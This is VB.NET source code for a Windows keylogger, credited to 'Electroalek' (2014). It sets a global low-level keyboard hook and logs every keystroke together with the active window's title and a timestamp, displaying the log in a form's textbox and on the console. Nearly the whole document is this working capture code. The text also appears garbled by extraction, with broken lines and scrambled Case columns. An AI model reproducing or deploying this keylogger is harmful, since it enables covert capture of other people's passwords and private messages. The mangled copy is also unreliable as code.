'Coded by: Electroalek<http://electroalek.

com/>, 2014
Imports System.Text
Imports System.Runtime.InteropServices
Public Class Form1
Private WithEvents keylog As New KeyLogger
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.
Click
keylog.Start()
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.
Click
keylog.Stop()
End Sub
Private Sub CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handl
es CheckBox1.CheckedChanged
keylog.PassThrough = CheckBox1.Checked
End Sub
Private Sub keylog_KeyPressed(sender As Object, e As KeyLogger.KeyEventArgs)
Handles keylog.KeyPressed
If e.Direction = KeyLogger.KeyDirection.Down Then
If e.Window.Changed Then
TextBox1.AppendText(String.Format("{0}{0}{2} {3} [{4}]{0}{1}", v
bCrLf, vbTab, e.DateTime.ToShortTimeString, e.Window.Name, e.Window.Handle))
End If
TextBox1.AppendText(e.StringKey)
End If
End Sub
Private Sub keylogger_KeyDown(sender As Object, e As KeyLogger.KeyEventArgs)
Handles keylog.KeyDown
Console.WriteLine(String.Format("{0} [Down] {1} - {2}[{3}]", e.DateTi
me.ToShortTimeString, e.StringKey, e.Window.Name, e.Window.Handle))
End Sub
Private Sub keylog_KeyUp(sender As Object, e As KeyLogger.KeyEventArgs) Hand
les keylog.KeyUp
Console.WriteLine(String.Format("{0} [Up] {1} - {2}[{3}]", e.DateTime.
ToShortTimeString, e.StringKey, e.Window.Name, e.Window.Handle))
End Sub
End Class
Public Class KeyLogger
Implements IDisposable
#Region "API"
<DllImport("user32.dll")>
Private Shared Function GetForegroundWindow() As IntPtr
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto)>
Private Shared Function GetWindowText(hwnd As IntPtr, lpString As StringBuil

der, cch As Integer) As Integer

End Function
<DllImport("user32.dll")>
Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As Boolean
End Function
<DllImport("user32.dll")>
Private Shared Function SetWindowsHookEx(hookType As HookType, lpfn As HookP
roc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
End Function
<DllImport("user32.dll")>
Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wPar
am As IntPtr, lParam As IntPtr) As IntPtr
End Function
#End Region
#Region "Public Objects"
Public Event KeyPressed(sender As Object, e As KeyEventArgs)
Public Event KeyDown(sender As Object, e As KeyEventArgs)
Public Event KeyUp(sender As Object, e As KeyEventArgs)
#End Region
#Region "Private Objects"
Private
Private
Private
Private
Private

hook As IntPtr
deleg As HookProc
IsShift As Boolean
tempHandle As IntPtr
pass As Boolean

Private Delegate Function HookProc(code As Integer, wParam As IntPtr, ByRef

lParam As IntPtr) As IntPtr
#End Region
#Region "Properties"
Public Property PassThrough As Boolean
Set(value As Boolean)
pass = value
End Set
Get
Return pass
End Get
End Property
#End Region
#Region "Public Methods"
Public Sub New()
hook = IntPtr.Zero
deleg = AddressOf HookHandler
IsShift = False
tempHandle = IntPtr.Zero

pass = True
End Sub
Public Sub Start()
If hook <> IntPtr.Zero Then Return
hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, deleg, IntPtr.Zero, 0)
End Sub
Public Sub [Stop]()
UnhookWindowsHookEx(hook)
hook = IntPtr.Zero
End Sub
#End Region
#Region "Private Methods"
Private Function HookHandler(code As Integer, wParam As IntPtr, ByRef lParam
As IntPtr) As IntPtr
If code = 0 Then
RaiseEvents(CType(wParam, KeyDirection), ParseKey(lParam))
End If
If pass Then
Return CallNextHookEx(hook, code, wParam, lParam)
Else
Return CType(1, IntPtr)
End If
End Function
Private Sub RaiseEvents(directon As KeyDirection, key As Keys)
If SetShiftState(directon, key) Then Return
Dim eventArgs As New KeyEventArgs(directon, key, GetKeyString(key), GetC
urrentWindow(), DateTime.Now)
RaiseEvent KeyPressed(Me, eventArgs)
Select Case directon
Case KeyDirection.Up
RaiseEvent KeyUp(Me, eventArgs)
Case KeyDirection.Down
RaiseEvent KeyDown(Me, eventArgs)
End Select
End Sub
Private Function GetKeyString(key As Keys) As String
Select Case True
Case key = 3 : Return "<Cancel>"
Case key = 8 : Return "<BS>"
Case key = 9 : Return "<Tab>"
Case key = 10 : Return "<LineFeed>"
Case key = 13 : Return "<Enter>"
Case key = 17 Or key = 162 Or key = 163 : Return "<CTRL>"
Case key = 18 Or key = 164 Or key = 165 : Return "<ALT>"
Case key = 19 : Return "<Pause/Break>"
Case key = 20 : Return "<CapsL>"
Case key = 27 : Return "<Esc>"
Case key = 32 : Return " "
Case key = 33 : Return "<PageUp>"
Case key = 34 : Return "<PageDown>"
Case key = 35 : Return "<End>"
Case key = 36 : Return "<Home>"
Case key = 37 : Return "<LArrow>"

Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case

key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key

=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=

38
39
40
41
42
44
45
46
48
48
49
49
50
50
51
51
52
52
53
53
54
54
55
55
56
56
57
57
65
65
66
66
67
67
68
68
69
69
70
70
71
71
72
72
73
73
74
74
75
75
76
76
77
77
78
78
79
79
80
80

: Return "<UArrow>"
: Return "<RArrow>"
: Return "<DArrow>"
: Return "<Select>"
: Return "<Print>"
: Return "<PrintScreen>"
: Return "<Insert>"
: Return "<Delete>"
And IsShift : Return ")"
: Return "0"
And IsShift : Return "!"
: Return "1"
And IsShift : Return "@"
: Return "2"
And IsShift : Return "#"
: Return "3"
And IsShift : Return "$"
: Return "4"
And IsShift : Return "%"
: Return "5"
And IsShift : Return "^"
: Return "6"
And IsShift : Return "&"
: Return "7"
And IsShift : Return "*"
: Return "8"
And IsShift : Return "("
: Return "9"
And (IsCaps() Or IsShift)
: Return "a"
And (IsCaps() Or IsShift)
: Return "b"
And (IsCaps() Or IsShift)
: Return "c"
And (IsCaps() Or IsShift)
: Return "d"
And (IsCaps() Or IsShift)
: Return "e"
And (IsCaps() Or IsShift)
: Return "f"
And (IsCaps() Or IsShift)
: Return "g"
And (IsCaps() Or IsShift)
: Return "h"
And (IsCaps() Or IsShift)
: Return "i"
And (IsCaps() Or IsShift)
: Return "j"
And (IsCaps() Or IsShift)
: Return "k"
And (IsCaps() Or IsShift)
: Return "l"
And (IsCaps() Or IsShift)
: Return "m"
And (IsCaps() Or IsShift)
: Return "n"
And (IsCaps() Or IsShift)
: Return "o"
And (IsCaps() Or IsShift)
: Return "p"

: Return "A"
: Return "B"
: Return "C"
: Return "D"
: Return "E"
: Return "F"
: Return "G"
: Return "H"
: Return "I"
: Return "J"
: Return "K"
: Return "L"
: Return "M"
: Return "N"
: Return "O"
: Return "P"

Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case
Case

key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key
key

=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=

81 And (IsCaps() Or IsShift) : Return

81 : Return "q"
82 And (IsCaps() Or IsShift) : Return
82 : Return "r"
83 And (IsCaps() Or IsShift) : Return
83 : Return "s"
84 And (IsCaps() Or IsShift) : Return
84 : Return "t"
85 And (IsCaps() Or IsShift) : Return
85 : Return "u"
86 And (IsCaps() Or IsShift) : Return
86 : Return "v"
87 And (IsCaps() Or IsShift) : Return
87 : Return "w"
88 And (IsCaps() Or IsShift) : Return
88 : Return "x"
89 And (IsCaps() Or IsShift) : Return
89 : Return "y"
90 And (IsCaps() Or IsShift) : Return
90 : Return "z"
91 Or key = 92 : Return "<Windows>"
93 : Return "<RightClick>"
96 : Return "0"
97 : Return "1"
98 : Return "2"
99 : Return "3"
100 : Return "4"
101 : Return "5"
102 : Return "6"
103 : Return "7"
104 : Return "8"
105 : Return "9"
106 : Return "*"
107 : Return "+"
108 : Return "<Separator>"
109 : Return "-"
110 : Return "."
111 : Return "/"
112 : Return "<F1>"
113 : Return "<F2>"
114 : Return "<F3>"
115 : Return "<F4>"
116 : Return "<F5>"
117 : Return "<F6>"
118 : Return "<F7>"
119 : Return "<F8>"
120 : Return "<F9>"
121 : Return "<F10>"
122 : Return "<F11>"
123 : Return "<F12>"
144 : Return "<NumL>"
145 : Return "<ScrollL>"
166 : Return "<BrowserBack>"
167 : Return "<BrowserForward>"
168 : Return "<BrowserRefresh>"
169 : Return "<BrowserStop>"
170 : Return "<BrowserSearch>"
171 : Return "<BrowserFavorites>"
172 : Return "<BrowserHome>"
173 : Return "<Mute>"

"Q"
"R"
"S"
"T"
"U"
"V"
"W"
"X"
"Y"
"Z"

Case key = 174 : Return "<Volume->"

Case key = 175 : Return "<Volume+>"
Case key = 176 : Return "<Forward>"
Case key = 177 : Return "<Backward>"
Case key = 178 : Return "<Stop>"
Case key = 179 : Return "<Play>"
Case key = 180 : Return "<Mail>"
Case key = 181 : Return "<Media>"
Case key = 182 : Return "<App1>"
Case key = 183 : Return "<App2>"
Case key = 186 And IsShift : Return ":"
Case key = 186 : Return ";"
Case key = 187 And IsShift : Return "+"
Case key = 187 : Return "="
Case key = 188 And IsShift : Return "<"
Case key = 188 : Return ","
Case key = 189 And IsShift : Return "_"
Case key = 189 : Return "-"
Case key = 190 And IsShift : Return ">"
Case key = 190 : Return "."
Case key = 191 And IsShift : Return "?"
Case key = 191 : Return "/"
Case key = 192 And IsShift : Return "~"
Case key = 192 : Return "`"
Case key = 219 And IsShift : Return "{"
Case key = 219 : Return "["
Case key = 220 And IsShift : Return "|"
Case key = 220 : Return "\"
Case key = 221 And IsShift : Return "}"
Case key = 221 : Return "]"
Case key = 222 And IsShift : Return """"
Case key = 222 : Return "'"
Case key = 251 : Return "<Zoom>"
Case key = 252 : Return "<Other>"
Case key = 255 : Return "<Other>"
Case Else : Return String.Empty
End Select
End Function
Private Function IsCaps() As Boolean
Return Control.IsKeyLocked(Keys.CapsLock)
End Function
Private Function SetShiftState(direction As KeyDirection, key As Keys) As Bo
olean
Dim shiftkey As Boolean = key = Keys.Shift Or key = Keys.ShiftKey Or key
= Keys.RShiftKey Or key = Keys.LShiftKey
If shiftkey Then
If direction = KeyDirection.Up Then
IsShift = False
ElseIf direction = KeyDirection.Down Then
IsShift = True
End If
End If
Return shiftkey
End Function
Private Function ParseKey(obj As IntPtr) As Keys
Dim output As Keys = Keys.None
Keys.TryParse(obj.ToString, output)

Return output
End Function
Private Function GetCurrentWindow() As Window
Dim handle As IntPtr = GetForegroundWindow()
Dim changed As Boolean = tempHandle <> handle
Dim name As String = String.Empty
Dim buffer As New StringBuilder(256)
If GetWindowText(handle, buffer, 256) > 0 Then
name = buffer.ToString()
End If
tempHandle = handle
Return New Window(name, handle, changed)
End Function
#End Region
#Region "Event Handlers"
Public Class KeyEventArgs
Inherits EventArgs
Sub New(Directon As KeyDirection, Key As Keys, StringKey As String, Wind
ow As Window, DateTime As DateTime)
Me.Direction = Directon
Me.Key = Key
Me.StringKey = StringKey
Me.Window = Window
Me.DateTime = DateTime
End Sub
Public
Public
Public
Public
Public

Direction As KeyDirection
Key As Keys
StringKey As String
Window As Window
DateTime As DateTime

Public Overrides Function ToString() As String

Return StringKey
End Function
End Class
Public Class Window
Sub New(Name As String, Handle As IntPtr, Changed As Boolean)
Me.Name = Name
Me.Handle = Handle
Me.Changed = Changed
End Sub
Public Name As String
Public Handle As IntPtr
Public Changed As Boolean
End Class
#End Region
#Region "Enums"

Private Enum HookType As Integer

WH_JOURNALRECORD = 0
WH_JOURNALPLAYBACK = 1
WH_KEYBOARD = 2
WH_GETMESSAGE = 3
WH_CALLWNDPROC = 4
WH_CBT = 5
WH_SYSMSGFILTER = 6
WH_MOUSE = 7
WH_HARDWARE = 8
WH_DEBUG = 9
WH_SHELL = 10
WH_FOREGROUNDIDLE = 11
WH_CALLWNDPROCRET = 12
WH_KEYBOARD_LL = 13
WH_MOUSE_LL = 14
End Enum
Public Enum KeyDirection As Integer
Down = 256
Up = 257
End Enum
#End Region
#Region "IDisposable"
Private disposedValue As Boolean
Protected Overridable Sub Dispose(disposing As Boolean)
If Not Me.disposedValue Then
If disposing Then
[Stop]()
deleg = Nothing
End If
End If
Me.disposedValue = True
End Sub
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
#End Region
End Class